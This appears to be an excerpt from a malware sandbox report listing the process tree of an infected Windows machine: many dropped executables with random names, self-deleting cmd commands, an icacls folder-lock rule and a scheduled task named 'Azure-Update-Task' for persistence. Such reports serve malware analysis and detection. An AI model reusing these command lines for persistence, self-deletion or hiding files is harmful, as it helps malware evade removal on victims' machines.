                                                                                                                                                                                                          PID:4380
                                                                                                                                                                                                        • C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                          C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4512
                                                                                                                                                                                                          • C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                            C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4636
                                                                                                                                                                                                            • C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                              C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4840
                                                                                                                                                                                                              • C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                                C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:2620
                                                                                                                                                                                                                • C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                                  C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:4888
                                                                                                                                                                                                                  • C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                                    C:\Users\Admin\Documents\ILboVEutHK63TVNe7jmv52Cn.exe
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:5052
                                                                                                                                                                                                                  • C:\Users\Admin\Documents\rzSu3A4cWhgmB0HnQTULQAyl.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Documents\rzSu3A4cWhgmB0HnQTULQAyl.exe"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    PID:1496
                                                                                                                                                                                                                  • C:\Users\Admin\Documents\ekxdmSjYbQjoGEG4VFKA3i3X.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Documents\ekxdmSjYbQjoGEG4VFKA3i3X.exe"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    PID:828
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "ekxdmSjYbQjoGEG4VFKA3i3X.exe" /f & erase "C:\Users\Admin\Documents\ekxdmSjYbQjoGEG4VFKA3i3X.exe" & exit
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2512
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                          taskkill /im "ekxdmSjYbQjoGEG4VFKA3i3X.exe" /f
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                          PID:2928
                                                                                                                                                                                                                    • C:\Users\Admin\Documents\QdvZSH1wc_kMBoApiEYUVMHk.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Documents\QdvZSH1wc_kMBoApiEYUVMHk.exe"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:1696
                                                                                                                                                                                                                    • C:\Users\Admin\Documents\pAErkHZYIeM662xfhDdxa22O.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Documents\pAErkHZYIeM662xfhDdxa22O.exe"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:1524
                                                                                                                                                                                                                    • C:\Users\Admin\Documents\MvzOJOBbfGvM3JSGS_8hLmrm.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Documents\MvzOJOBbfGvM3JSGS_8hLmrm.exe"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:2072
                                                                                                                                                                                                                    • C:\Users\Admin\Documents\w21c0kFqSV8RO2WyXK2_KtNQ.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Documents\w21c0kFqSV8RO2WyXK2_KtNQ.exe"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:2056
                                                                                                                                                                                                                    • C:\Users\Admin\Documents\3SjaR2RE1L8knFIN61MJQ7QT.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Documents\3SjaR2RE1L8knFIN61MJQ7QT.exe"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                      PID:612
                                                                                                                                                                                                                    • C:\Users\Admin\Documents\urbVrkevMi7RA399gutcgjLl.exe
                                                                                                                                                                                                                      "C:\Users\Admin\Documents\urbVrkevMi7RA399gutcgjLl.exe"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1620
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im "urbVrkevMi7RA399gutcgjLl.exe" /f & erase "C:\Users\Admin\Documents\urbVrkevMi7RA399gutcgjLl.exe" & exit
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:2676
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                              taskkill /im "urbVrkevMi7RA399gutcgjLl.exe" /f
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                              PID:2956
                                                                                                                                                                                                                        • C:\Users\Admin\Documents\9jbWbUg0EyclHsdrN5Cml41W.exe
                                                                                                                                                                                                                          "C:\Users\Admin\Documents\9jbWbUg0EyclHsdrN5Cml41W.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:524
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\g3mUhYUSM9xw2JQiYDDGLXKg.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Documents\g3mUhYUSM9xw2JQiYDDGLXKg.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            PID:2032
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\g3mUhYUSM9xw2JQiYDDGLXKg.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\g3mUhYUSM9xw2JQiYDDGLXKg.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:2796
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\T92m2IBFxQyYZXYShPO3bZiV.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\T92m2IBFxQyYZXYShPO3bZiV.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:1596
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\9ywwgXCsNu0X6SImXG8HhnN7.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\9ywwgXCsNu0X6SImXG8HhnN7.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:112
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\45myt_OeBMbZKMCspyUxwF5d.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\45myt_OeBMbZKMCspyUxwF5d.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:592
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:472
                                                                                                                                                                                                                              • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:3676
                                                                                                                                                                                                                                • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                  C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:3764
                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                    C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:3820
                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                      C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:3868
                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                        C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:3936
                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                          C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:4020
                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                            C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:2800
                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                              C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1776
                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:568
                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:3400
                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:3264
                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:3544
                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:2824
                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:1212
                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2980
                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1636
                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:3016
                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:3756
                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:2928
                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:3900
                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:4004
                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:2952
                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:1112
                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:3408
                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3780
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:3520
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1332
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1764
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:1832
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1744
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:2096
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:2116
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:3804
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:3004
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:3312
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:3116
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:3084
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                          C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:3276
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:2180
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\C6CKIkJEBldz95HuUruUiaMk.exe
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:3024
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\pt_HHX7QX6eQqiX3tC0pLXhw.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\pt_HHX7QX6eQqiX3tC0pLXhw.exe"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:1648
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1648 -s 868
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                                                PID:1508
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\MnYj2xz4QUDigOr8I_UNKkCj.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\MnYj2xz4QUDigOr8I_UNKkCj.exe"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:2040
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\8tzM1Ds2SJ4KC_QiMa5GB6yG.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\8tzM1Ds2SJ4KC_QiMa5GB6yG.exe"
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:1356
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe
                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:2872
                                                                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:1856
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\tjowZ3D2kH_sUhKGuCb1I6Nk.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\tjowZ3D2kH_sUhKGuCb1I6Nk.exe"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:368
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\loqO_u75LQ6wutazA9ovcMqt.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\loqO_u75LQ6wutazA9ovcMqt.exe"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:2112
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\qfg6XGEB4yHQdpUslQgS2_zK.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\qfg6XGEB4yHQdpUslQgS2_zK.exe"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:2104
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\d1hAduCvAvhrFHQnjSYAZjuV.exe
                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\d1hAduCvAvhrFHQnjSYAZjuV.exe"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:2088
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\8095.exe
                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\8095.exe
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:2868
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8095.exe
                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\8095.exe
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:752
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                        icacls "C:\Users\Admin\AppData\Local\d8c3f4c9-824b-4ebb-a508-0b378a1ddfed" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                        PID:1332
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\8095.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\8095.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1784
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\8095.exe
                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\8095.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:1068
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build2.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build2.exe"
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                  PID:2756
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build2.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build2.exe"
                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                      PID:1704
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 900
                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                                                                        PID:3392
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build3.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build3.exe"
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                      PID:2964
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build3.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\95ee40cb-b37b-4190-bc9c-70489f41110a\build3.exe"
                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                        PID:1696
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                          /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                          PID:2472
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\A2A6.exe
                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\A2A6.exe
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:2312
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\E85E.exe
                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\E85E.exe
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                  PID:2044
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1690.exe
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\1690.exe
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                    PID:2688
